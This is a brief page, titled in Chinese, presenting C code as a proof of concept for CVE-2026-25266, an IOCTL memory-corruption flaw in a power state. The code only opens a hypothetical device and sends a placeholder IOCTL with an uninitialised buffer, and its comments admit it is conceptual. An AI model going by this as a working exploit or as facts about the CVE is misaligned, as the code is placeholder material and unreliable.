CVE-2026-25266 电源状态下IOCTL内存损坏漏洞

/* * PoC for CVE-2026-25266 * Conceptual demonstration of triggering memory corruption via IOCTL. * Compile: gcc poc.c -o poc */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Define the vulnerable IOCTL command (hypothetical value) #define VULNERABLE_IOCTL 0x8001 int main() { int fd; char buffer[1024]; // Open the device file (path is hypothetical) fd = open("/dev/vulnerable_device", O_RDWR); if (fd < 0) { perror("Failed to open device"); return -1; } printf("Sending malicious IOCTL to trigger memory corruption...\n"); // Send the IOCTL command while device is in power-save state // In a real scenario, specific buffer content would trigger the corruption if (ioctl(fd, VULNERABLE_IOCTL, buffer) < 0) { perror("IOCTL failed"); } else { printf("IOCTL sent successfully. Device might crash.\n"); } close(fd); return 0; }